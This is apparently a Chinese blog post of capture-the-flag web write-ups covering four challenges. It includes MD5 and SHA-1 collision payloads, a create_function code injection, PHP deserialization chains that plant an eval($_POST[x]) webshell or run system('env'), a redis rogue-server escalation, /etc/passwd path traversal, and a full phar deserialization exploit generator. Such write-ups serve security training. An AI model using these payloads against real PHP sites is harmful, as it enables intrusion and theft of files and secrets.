[NISACTF 2022]level-up
首页内容如下:
看源码发现disallow,于是想到了robots.txt:
访问robots文件:
出现level-2:
- 通过POST方式请求两个参数;利用String强转类型
- 要求两个变量值不相等,但是md5加密后的值 强相等;因此这里不可以使用数组绕过~ 那就只能是使用md5碰撞!
(PS:使用md5碰撞的时候,需要在数据包中直接改payload,如果利用的是hackbar,会在数据包中在进行一次URL编码)
array1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&array2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
拿到level-3:
sha1的碰撞:
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
出现了level4:
利用parse_url函数解析url中的各个部分,获取到?之后的参数,进行匹配,如果参数中存在空格 等便会die。但是我们传递的参数是NI_SA,肯定是存在下划线的,利用php的特性:php会把请求参数中的非法字符转为下划线;
来到最后一关:
正则过滤了数字、字母、下划线,同时字母不区分大小写;接着看到了a('',b);所以想到create_function()函数,这个函数是创建一个匿名函数,传入两个字符串的参数:
参数args是代表着函数的参数,code是代表着函数里面执行的代码!例如:create_function('$a','system("ls");') 那么就是如下的写法:
php
function anonymous($a){
system("ls");
}
所以我们传参$a=\create_function 绕过正则;然后对于参数b想办法闭合掉匿名函数:
php
}system("ls");/*
那么整体上变为:
php
function anonymous(){
}system("ls");/*
} //后面的这个} 通过前面的注释 不在起作用
[天翼杯 2021]esay_eval
代码如上;pop链构造不难,首先存在正则,整个正则的含义其实是全局匹配 B:内容: 或者说 A:内容:的形式,所以匹配了类名,但是只是匹配了大写,类名大小写都可以,这里就可以用小写去绕过~ 绕后是wakeup的绕过,正常改属性个数即可绕过;
php
<?php
class A{
public $code = "eval(\$_POST[x]);";
}
class B{
public $a;
}
$a = new A();
$start = new B();
$start->a = $a;
echo serialize($start);
php
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:16:"eval($_POST[x]);";}}
O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[x]);";}}
正常执行了php的代码,尝试列目录,读flag的时候,发现执行不了~
查看phpinfo中禁用函数:
发现禁用了很多函数,尝试蚁剑连接:
查看网站的目录,发现了vim缓存的泄露:
于是查看到这个文件的内容中存在redis的密码:
于是猜测是redis提权,然后尝试使用蚁剑连接redis
在有权限的目录下上传exp.so(GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE)
上传成功之后,执行命令
最终拿到了根目录下面的flag!
[HZNUCTF 2023 preliminary]ppppop
访问之后发现是空的,然后看了数据包中的内容,发现响应数据包中的set-cookie头:
发现字符串是base64编码的内容:
尝试修改cookie中的内容,将后面的属性值变为1,重新编码放到cookie中:
拿到php代码,进行代码审计,利用魔术方法call达到代码执行的功能:
php
<?php
error_reporting(0);
//include('utils.php');
class A {
public $className = "B";
public $funcName = "system";
public $args = "env";
// public function __destruct() {
// $class = new $this->className;
// $funcName = $this->funcName;
// $class->$funcName($this->args);
// }
}
class B {
}
$a = new A();
echo base64_encode(strrev(serialize($a)));
//最终flag在env里面
[CISCN 2019华北Day1]Web1
首页:
存在登录和注册两个页面~
进行了目录扫描,没什么其他的页面和信息暴露出来,尝试了sql注入,貌似没有~ 然后去正常注册,尝试登录!
登陆进来发现存在上传文件功能点,先随便上传一个文件:
上传成功,又出现了下载和删除的功能点~ 都点击下,bp里面查看:
尝试修改参数值;/etc/passwd!
可以读取,尝试读取一下index login register upload delete download等界面的代码~
php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
在读取文件的过程中,发现了源码中包含了class.php文件,于是多加一个文件!
php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
class文件中发现了三个类,同时还有数据库的账号密码等信息。
寻找入口点:
php
public function __construct() {
global $db;
$this->db = $db;
}
//这里的global引进了全局变量,而这个db变量是class.php中的变量
那么在User类中的:
php
public function __destruct() {
$this->db->close();
}
//执行的就是mysqli::close 但是这里就出现了一个问题在File类中也出现了close方法!
php
public function close() {
return file_get_contents($this->filename);
}
同时在FileList类中发现了魔术方法__call! 由于在download文件中通过open_basedir()对目录进行了限制!所以无法直接读取根目录下面的flag;
先看魔术方法call干了什么?
php
class FileList {
private $files;
private $results;
private $funcs;
...
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
...
}
正常如果是执行mysqli的close方法,那么执行到魔术方法的时候,会将方法名存入this-funcs数组中;然后遍历this->files数组中的成员,依次执行close方法!然后存入this-\>results\[file->name()][$func]
如果是File类中的close方法的话,那就是获取文件中的内容了!那么$this->files数组中的元素必须是File的对象
看Filelist的析构函数:
php
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) { //遍历数组 $func为键 $value为对应的值
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
这里先输出了this-funcs数组里面的元素值;然后输出了this-results数组的键值对;然后在__call魔术方法中我们存储的文件的内容就存放在 $result as $func => value 的value里面;因此我们只要构造this->files就可以输出其文件中的内容,从而得到flag文件~
POP链构造方法:
php
//以Uesr类里面的析构函数为起点
public function __destruct() {
$this->db->close();
}
//让$this->db变量为FileList对象,从而触发FileList中的魔术方法call
//然后让$this->db里面的$this->files数组中的元素为File对象
//调用File类中的close方法,最终的结果存储在$this->db里面的$this->result数组里面
//最后在FileList类中的析构函数中输出!
php
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$f = new File('/flag.txt');
array_push($this->files,$f);
}
}
class File {
public $filename;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new User();
$b = new FileList();
$a->db = $b;
?>
如上便是构造出来的pop链,找触发点~
后面回到了download和delete以及upload功能点,由于存在上传功能,联想到phar反序列化,但是有需要找到能触发phar反序列化的函数:
php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
发现在delete文件中调用了File类中的delete方法,其中存在unlink方法,能够触发phar反序列化!于是整个链子进一步完善:
php
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$f = new File('/flag.txt');
array_push($this->files,$f);
}
}
class File {
public $filename;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new User();
$b = new FileList();
$a->db = $b;
@unlink("Y4y17.phar");
$phar=new Phar("Y4y17.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
unlink('./Y4y17.jpg');
rename("./Y4y17.phar","./Y4y17.jpg");
上传后,尝试在delete处进行触发!